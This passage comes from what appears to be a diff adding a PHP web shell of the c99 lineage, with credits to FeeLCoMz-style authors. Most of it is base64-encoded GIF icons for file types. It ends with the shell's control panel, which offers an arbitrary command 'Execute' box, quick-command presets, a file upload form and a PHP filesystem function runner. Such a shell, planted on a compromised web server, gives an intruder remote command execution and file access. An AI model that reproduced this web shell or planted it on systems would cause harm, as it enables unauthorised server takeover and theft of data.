+"R0lGODlhDgAJAKIAAAAAAP///9TQyICAgP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAOAAkAAAMb". +"SLrcOjBCB4UVITgyLt5ch2mgSJZDBi7p6hIJADs=", +"sql_button_drop"=> +"R0lGODlhCQALAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAsA". +"AAg4AP8JREFQ4D+CCBOi4MawITeFCg/iQhEPxcSBlFCoQ5Fx4MSKv1BgRGGMo0iJFC2ehHjSoMt/". +"AQEAOw==", +"sql_button_empty"=> +"R0lGODlhCQAKAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAAJAAoA". +"AAgjAP8JREFQ4D+CCBOiMMhQocKDEBcujEiRosSBFjFenOhwYUAAOw==", +"sql_button_insert"=> +"R0lGODlhDQAMAPcAAAAAAIAAAACAAICAAAAAgIAAgACAgICAgMDAwP8AAAD/AP//AAAA//8A/wD/". +"/////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMwAAZgAAmQAAzAAA/wAzAAAzMwAzZgAzmQAzzAAz/wBm". +"AABmMwBmZgBmmQBmzABm/wCZAACZMwCZZgCZmQCZzACZ/wDMAADMMwDMZgDMmQDMzADM/wD/AAD/". +"MwD/ZgD/mQD/zAD//zMAADMAMzMAZjMAmTMAzDMA/zMzADMzMzMzZjMzmTMzzDMz/zNmADNmMzNm". +"ZjNmmTNmzDNm/zOZADOZMzOZZjOZmTOZzDOZ/zPMADPMMzPMZjPMmTPMzDPM/zP/ADP/MzP/ZjP/". +"mTP/zDP//2YAAGYAM2YAZmYAmWYAzGYA/2YzAGYzM2YzZmYzmWYzzGYz/2ZmAGZmM2ZmZmZmmWZm". +"zGZm/2aZAGaZM2aZZmaZmWaZzGaZ/2bMAGbMM2bMZmbMmWbMzGbM/2b/AGb/M2b/Zmb/mWb/zGb/". +"/5kAAJkAM5kAZpkAmZkAzJkA/5kzAJkzM5kzZpkzmZkzzJkz/5lmAJlmM5lmZplmmZlmzJlm/5mZ". +"AJmZM5mZZpmZmZmZzJmZ/5nMAJnMM5nMZpnMmZnMzJnM/5n/AJn/M5n/Zpn/mZn/zJn//8wAAMwA". +"M8wAZswAmcwAzMwA/8wzAMwzM8wzZswzmcwzzMwz/8xmAMxmM8xmZsxmmcxmzMxm/8yZAMyZM8yZ". +"ZsyZmcyZzMyZ/8zMAMzMM8zMZszMmczMzMzM/8z/AMz/M8z/Zsz/mcz/zMz///8AAP8AM/8AZv8A". +"mf8AzP8A//8zAP8zM/8zZv8zmf8zzP8z//9mAP9mM/9mZv9mmf9mzP9m//+ZAP+ZM/+ZZv+Zmf+Z". +"zP+Z///MAP/MM//MZv/Mmf/MzP/M////AP//M///Zv//mf//zP///yH5BAEAABAALAAAAAANAAwA". +"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=", +"up"=> +"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg". +"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV". +"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==", +"write"=> +"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA". +"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze". +"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61". +"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==", +"ext_asp"=> +"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/". +"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI". +"D6HPhzjSeLYdYabsDCWMZwhg3WWtKK4QrMHohCAS+hABADs=", +"ext_mp3"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///4CAgMDAwICAAP//AAAAAAAAAANU". +"aGrS7iuKQGsYIqpp6QiZRDQWYAILQQSA2g2o4QoASHGwvBbAN3GX1qXA+r1aBQHRZHMEDSYCz3fc". +"IGtGT8wAUwltzwWNWRV3LDnxYM1ub6GneDwBADs=", +"ext_avi"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///4CAgMDAwP8AAAAAAAAAAAAAAANM". +"WFrS7iuKQGsYIqpp6QiZ1FFACYijB4RMqjbY01DwWg44gAsrP5QFk24HuOhODJwSU/IhBYTcjxe4". +"PYXCyg+V2i44XeRmSfYqsGhAAgA7", +"ext_cgi"=> +"R0lGODlhEAAQAGYAACH5BAEAAEwALAAAAAAQABAAhgAAAJtqCHd3d7iNGa+HMu7er9GiC6+IOOu9". +"DkJAPqyFQql/N/Dlhsyyfe67Af/SFP/8kf/9lD9ETv/PCv/cQ//eNv/XIf/ZKP/RDv/bLf/cMah6". +"LPPYRvzgR+vgx7yVMv/lUv/mTv/fOf/MAv/mcf/NA//qif/MAP/TFf/xp7uZVf/WIP/OBqt/Hv/S". +"Ev/hP+7OOP/WHv/wbHNfP4VzV7uPFv/pV//rXf/ycf/zdv/0eUNJWENKWsykIk9RWMytP//4iEpQ". +"Xv/9qfbptP/uZ93GiNq6XWpRJ//iQv7wsquEQv/jRAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegEyCg0wBhIeHAYqIjAEwhoyEAQQXBJCRhQMuA5eSiooGIwafi4UM". +"BagNFBMcDR4FQwwBAgEGSBBEFSwxNhAyGg6WAkwCBAgvFiUiOBEgNUc7w4ICND8PKCFAOi0JPNKD". +"AkUnGTkRNwMS34MBJBgdRkJLCD7qggEPKxsJKiYTBweJkjhQkk7AhxQ9FqgLMGBGkG8KFCg8JKAi". +"RYtMAgEAOw==", +"ext_cmd"=> +"R0lGODlhEAAQACIAACH5BAEAAAcALAAAAAAQABAAggAAAP///4CAgMDAwAAAgICAAP//AAAAAANI". +"eLrcJzDKCYe9+AogBvlg+G2dSAQAipID5XJDIM+0zNJFkdL3DBg6HmxWMEAAhVlPBhgYdrYhDQCN". +"dmrYAMn1onq/YKpjvEgAADs=", +"ext_cpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC". +"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra". +"Eq7YrLDE7a4SADs=", +"ext_ini"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL". +"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM". +"SnEjgPVarHEHgrB43JvszsQEADs=", +"ext_diz"=> +"R0lGODlhEAAQAHcAACH5BAEAAJUALAAAAAAQABAAhwAAAP///15phcfb6NLs/7Pc/+P0/3J+l9bs". +"/52nuqjK5/n///j///7///r//0trlsPn/8nn/8nZ5trm79nu/8/q/9Xt/9zw/93w/+j1/9Hr/+Dv". +"/d7v/73H0MjU39zu/9br/8ne8tXn+K6/z8Xj/LjV7dDp/6K4y8bl/5O42Oz2/7HW9Ju92u/9/8T3". +"/+L//+7+/+v6/+/6/9H4/+X6/+Xl5Pz//+/t7fX08vD//+3///P///H///P7/8nq/8fp/8Tl98zr". +"/+/z9vT4++n1/b/k/dny/9Hv/+v4/9/0/9fw/8/u/8vt/+/09xUvXhQtW4KTs2V1kw4oVTdYpDZX". +"pVxqhlxqiExkimKBtMPL2Ftvj2OV6aOuwpqlulyN3cnO1wAAXQAAZSM8jE5XjgAAbwAAeURBYgAA". +"dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW". +"9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK". +"4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm". +"C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg". +"2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF". +"CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA". +"Ow==", +"ext_doc"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR". +"WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq". +"MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=", +"ext_exe"=> +"R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7". +"WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt". +"xhIAOw==", +"ext_h"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB". +"WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo". +"Wq/NknbbSgAAOw==", +"ext_hpp"=> +"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF". +"WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR". +"UqUagnbLdZa+YFcCADs=", +"ext_htaccess"=> +"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6". +"WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ". +"AAA7", +"ext_html"=> +"R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz". +"c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P". +"KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk". +"Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR". +"ADs=", +"ext_jpg"=> +"R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci". +"Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd". +"FxEAOw==", +"ext_js"=> +"R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH". +"k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs". +"a00AjYYBbc/o9HjNniUAADs=", +"ext_lnk"=> +"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAIABAAAAAP///ywAAAAAEAAQAAACJkQeoMua1tBxqLH37HU6arxZYLdIZMmd0Oqp". +"aGeyYpqJlRG/rlwAADs=", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" +); +//Untuk optimalisasi ukuran dan kecepatan. +$imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") +); +if (!$getall) { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); +} +else { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; +} +exit; +} +if ($act == "about") { + echo "<center><b>Credits:</b><br>Idea, leading and coding by <b>tristram [CCTeaM]</b><br>". + "Beta-testing and some tips by <b>NukLeoN [AnTiSh@Re tEaM]</b><br>". + "Re-Coding, tricks, html and css by <b>FaTaLisTiCz_Fx [FeeLCoMz CoMMuNiTy]</b><br><br>". + "Report bugs to <a href=\"mailto:shell4spam@gmail.com\">FaTaLisTiCz_Fx</a></b>"; +} +echo "</td></tr></table>\n"; +/*** COMMANDS PANEL ***/ +?> +<div class=bartitle><b>.: COMMANDS PANEL :.</b></div> +<table class=mainpanel> +<tr><td align=right>Command:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type="text" name="cmd" size="100" value="<?php echo htmlspecialchars($cmd); ?>"> + <input type=hidden name="cmd_txt" value="1"> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Quick Commands:</td> +<td><form method="POST"> + <input type=hidden name=act value="cmd"> + <input type=hidden name="d" value="<?php echo $dispd; ?>"> + <input type=hidden name="cmd_txt" value="1"> + <select name="cmd"> + <?php + foreach ($cmdaliases as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + foreach ($cmdaliases2 as $als) { + echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>"; + } + ?> + </select> <input type=submit name=submit value="Execute"> + </form> +</td></tr> +<tr><td align=right>Upload:</td> +<td><form method="POST" enctype="multipart/form-data"> + <input type=hidden name=act value="upload"> + <input type=hidden name="miniform" value="1"> + <input type="file" name="uploadfile"> <input type=submit name=submit value="Upload"> <?php echo $wdt." Max size: ". @ini_get("upload_max_filesize")."B"; ?> + </form> +</td></tr> +<tr><td align=right>PHP Filesystem:</td> +<td> +<?php ##[ FaTaLisTiCz_Fx TriCkz ]## ?> +<script language="javascript"> +function set_arg(txt1,txt2) { + document.forms.fphpfsys.phpfsysfunc.value.selected = "Download"; + document.forms.fphpfsys.arg1.value = txt1; + document.forms.fphpfsys.arg2.value = txt2; +} +function chg_arg(num,txt1,txt2) { + if (num==0) { + document.forms.fphpfsys.arg1.type = "hidden"; + document.forms.fphpfsys.A1.type = "hidden"; + } + if (num<=1) { + document.forms.fphpfsys.arg2.type = "hidden"; + document.forms.fphpfsys.A2.type = "hidden"; + } + if (num==2) { + document.forms.fphpfsys.A1.type = "label"; + document.forms.fphpfsys.A2.type = "label"; + document.forms.fphpfsys.arg1.type = "text"; + document.forms.fphpfsys.arg2.type = "text"; + } + document.forms.fphpfsys.A1.value = txt1 + ":"; + document.forms.fphpfsys.A2.value = txt2 + ":"; +} +</script> +<?php + echo "<form name=\"fphpfsys\" method=\"POST\"><input type=hidden name=act value=\"phpfsys\"><input type=hidden name=d value=\"$dispd\">\r\n". + "<select name=\"phpfsysfunc\">\r\n"; + foreach ($phpfsaliases as $als) { + if ($als[1]==$phpfsysfunc) { + echo "<option selected value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + else { + echo "<option value=\"".$als[1]."\" onclick=\"chg_arg('$als[2]','$als[3]','$als[4]')\">".$als[0]."</option>\r\n"; + } + } + echo "</select>\r\n". + "<input type=label name=A1 value=\"File:\" size=2 disabled> <input type=text name=arg1 size=40 value=\"".htmlspecialchars($arg1)."\">\r\n". + "<input type=hidden name=A2 size=2 disabled> <input type=hidden name=arg2 size=50 value=\"".htmlspecialchars($arg2)."\">\r\n". + "<input type=submit name=submit value=\"Execute\"><hr noshade 